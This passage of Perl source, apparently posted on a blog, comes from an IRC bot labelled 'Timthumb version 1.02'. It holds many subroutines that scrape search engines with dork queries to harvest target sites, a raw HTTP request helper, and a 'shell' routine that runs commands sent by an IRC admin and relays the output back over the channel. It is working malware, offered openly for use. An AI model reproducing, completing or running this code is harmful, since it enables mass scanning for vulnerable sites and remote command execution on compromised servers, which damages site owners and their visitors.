("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");my $res = &search_engine_query($search);while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {if ($1 !~ /lycos\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub virgilio() {my @list;my $key = $_[0];for ($b=10; $b<=1000; $b+=100) {my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=100&offset=".$b);my $res = &search_engine_query($search);while ($res =~ m/http:\/\/(.+?)\//g) {if ($1 !~ /\.virgilio\.it/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);}}}return @list;}sub webde() {my @list;my $key = $_[0];for ($b=1; $b<=50; $b+=1) {my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");my $res = &search_engine_query($search);if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {my $link = $1;if ($link!~ /suche|web/){my @grep = &links($link);push(@list,@grep);}}}return @list;}sub hotbot() {my @list;my $key = $_[0];for ($b=0; $b<=50; $b+=1) {my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");my $res = &search_engine_query($search);if ($res =~ m/had no web result/i) {$b=50;}while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {if ($1 !~ /hotbot\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub aol() {my @list;my $key = $_[0];for ($b=2; $b<=50; $b+=1) {my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);my $res = &search_engine_query($search);while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {if ($1 !~ /aol\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub sapo(){my @list;my $key = $_[0];for ($b=1; $b<=50; $b+=1) {my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");my $res = &search_engine_query($search);if ($res !~ m/Next/i) {$b=50;}while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {if ($1 !~ /\.sapo\.pt/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub duck() {my @list;my $key = $_[0];my $b = 0;for ($b=1; $b<=50; $b+=1) {my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");my $res = &search_engine_query($search);if ($res =~ m/No more results/i) {$b=50;}while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {if ($1 !~ /duckduckgo/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub lygo() {my @list;my $key = $_[0];my $b = 0;for ($b=0; $b<=50; $b+=1) {my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");my $res = &search_engine_query($search);if ($res =~ m/had no web result/i) {$b=50;}while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {if ($1 !~ /hotbot\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub yause() {my @list;my $key = $_[0];my $b = 0;for ($b=1; $b<=50; $b+=1) {my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);my $res = &search_engine_query($search);if ($res !~ m/Next/i) {$b=50;}while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {if ($1 !~ /yauba\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub baidu() {my @list;my $key = $_[0];my $b = 0;for ($b=0; $b<=1000; $b+=100) {my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);my $res = &search_engine_query($search);while ($res =~ m/href=\"http:\/\/(.+?)\//g) {if ($1 !~ /baidu\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);}}}return @list;}sub kipot() {my @list;my $key = $_[0];my $b = 0;for ($b=1; $b<=50; $b+=1) {my $search = ("http://www.qkport.com/".$b."/web/".&key($key));my $res = &search_engine_query($search);while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {if ($1 !~ /qkport\.com/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub gibla() {my @list;my $key = $_[0];my $hal = "/search?q=".&key($key);my $search = ("http://www.gigablast.com".$hal);my $res = &search_engine_query($search);while ($res =~ m/Next 10 Results/) {$search = ("http://www.gigablast.com".$hal);while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {my $link = $1;my @grep = &links($link);push(@list,@grep);}if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }$res = &search_engine_query($search);}return @list;}sub black() {my @list;my $key = $_[0];my $b = 0;for ($b=0; $b<=50; $b+=1) {my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);my $cek = $b+1;my $res = &search_engine_query($search);if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {if ($1 !~ /blekko/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub onet() {my @list;my $key = $_[0];my $b = 0;for ($b=1; $b<=50; $b+=1) {my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));my $res = &search_engine_query($search);while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {if ($1 !~ /webcache|query/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub sizuka() {my @list;my $key = $_[0];my $b = 0;for ($b=10; $b<=100; $b+=10) {my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);my $res = &search_engine_query($search);while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {if ($1 !~ /szukacz/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub walla() {my @list;my $key = $_[0];my $b = 0;for ($b=0; $b<=50; $b+=1) {my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);my $res = &search_engine_query($search);while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {if ($1 !~ /walla\.co\.il/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub demos() {my @list;my $key = $_[0];my $b = 0;for ($b=0; $b<=500; $b+=10) {my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");my $res = &search_engine_query($search);while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {if ($1 !~ /search|dmoz/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub rose() {my @list;my $key = $_[0];my $b = 0;my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];for ($b=0; $b<=30; $b+=10) {my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));my $res = &search_engine_query($search);while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {if ($1 !~ /euroseek/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}}return @list;}sub seznam() {my @list;my $key = $_[0];for ($b=1; $b<=500; $b+=10) {my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);my $res = &search_engine_query($search);while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {if ($1 !~ /seznam/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub tiscali() {my @list;my $key = $_[0];for ($b=0; $b<=500; $b+=10) {my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));my $res = &search_engine_query($search);while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {if ($1 !~ /tiscali/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub naver() {my @list;my $key = $_[0];for ($b=1; $b<=500; $b+=10) {my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0〈=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");my $res = &search_engine_query($search);while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {if ($1 !~ /naver/){my $link = $1;my @grep = &links($link);push(@list,@grep);}}}return @list;}sub clix(){my @list;my $key = $_[0];for($b=1;$b<=1000;$b+=100){my $Th=("http://pesquisa.clix.pt/resultado.html?question=".key($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");my $Res=&search_engine_query($Th);while($Res =~ m/http:\/\/(.+?)\//g){my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);}}return @list;}sub search66(){my @list;my $key = $_[0];for($b=10;$b<=1000;$b+=100){my $Th=("http://search.search66.com/?query=".key($key)."&start=".$b."&offset=20&lang=ENG");my $Res=&search_engine_query($Th);while($Res =~ m/http:\/\/(.+?)\//g){my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);}}return @list;}sub biglobe(){my @list;my $key = $_[0];for($b=10;$b<=1000;$b+=100){my $Th=("http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=25&q=".key($key)."&lr=all");my $Res=&search_engine_query($Th);while($Res =~ m/http:\/\/(.+?)\//g){my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);}}return @list;}sub interia() {my @list;my $key = $_[0];for ($i = 0;$i<= 1000; $i+= 100) {my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$i);my $res = &search_engine_query($search);while ($res =~ m/http:\/\/(.+?)\/(.*)<\/a>/g) {my $link = $1; if ($link!~ /google|interia/) { $link =~ s/<//g; $link =~ s/ //g; my @grep=links($link); push(@list,@grep);}}}return @list;}sub pagina(){my @list;my $key = $_[0];my $i = 0;for ($i=0; $i<=100; $i+=1){my $web=("http://startgoogle.startpagina.nl/index.php?q=".key($key)."&start=".$i."&origin=homepage&source=geentaal");my $Res= search_engine_query($web);while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){if ($1 !~ /pagina|pagina's/){my $k=$1;my @grep=links($k);push(@list,@grep);}}}return @list;}#########################################sub clean() {my @cln = ();my %visit = ();foreach my $element (@_) {$element =~ s/\/+/\//g;next if $visit{$element}++;push @cln, $element;}return @cln;}sub key() {my $dork = $_[0];$dork =~ s/ /\+/g;$dork =~ s/:/\%3A/g;$dork =~ s/\//\%2F/g;$dork =~ s/\?/\%3F/g;$dork =~ s/&/\%26/g;$dork =~ s/\"/\%22/g;$dork =~ s/,/\%2C/g;$dork =~ s/\\/\%5C/g;$dork =~ s/@/\%40/g;$dork =~ s/\[/\%5B/g;$dork =~ s/\]/\%5D/g;$dork =~ s/\?/\%3F/g;$dork =~ s/\=/\%3D/g;$dork =~ s/\|/\%7C/g;return $dork;}sub links() {my @list;my $link = $_[0];my $host = $_[0];my $hdir = $_[0];$hdir =~ s/(.*)\/[^\/]*$/$1/;$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;$host .= "/";$link .= "/";$hdir .= "/";$host =~ s/\/\//\//g;$hdir =~ s/\/\//\//g;$link =~ s/\/\//\//g;push(@list,$link,$host,$hdir);return @list;}sub search_engine_query($) {my $url = $_[0];$url =~ s/http:\/\///;my $host = $url;my $query = $url;my $page = "";$host =~ s/href=\"?http:\/\///;$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;$query =~ s/$host//;if ($query eq "") { $query = "/"; }eval {my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";my @pages = <$sock>;$page = "@pages";close($sock);};return $page;}#########################################sub shell() {my $path = $_[0];my $cmd = $_[1];if ($cmd =~ /cd (.*)/) {chdir("$1") || &msg("$path"," 4,1No such file or directory");return;}elsif ($pid = fork) { waitpid($pid, 0); }else { if (fork) { exit; } else {my @output = `$cmd 2>&1 3>&1`;my $c = 0;foreach my $output (@output) {$c++;chop $output;&msg("$path","$output");if ($c == 5) { $c = 0; sleep 2; }}exit;}}}sub isAdmin() {my $status = 0;my $nick = $_[0];if ($nick eq $admin) { $status = 1; }return $status;}sub msg() {return unless $#_ == 1;sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");}sub nick() {return unless $#_ == 0;sendraw("NICK $_[0]");}sub notice() {return unless $#_ == 1;sendraw("NOTICE $_[0] :$_[1]");}#[@]#####################=-!-=#######################[@]## !| Timthumb version 1.02 |! ##[@]#####################=-IRH-=#####################[@]#
0 comments:
Post a Comment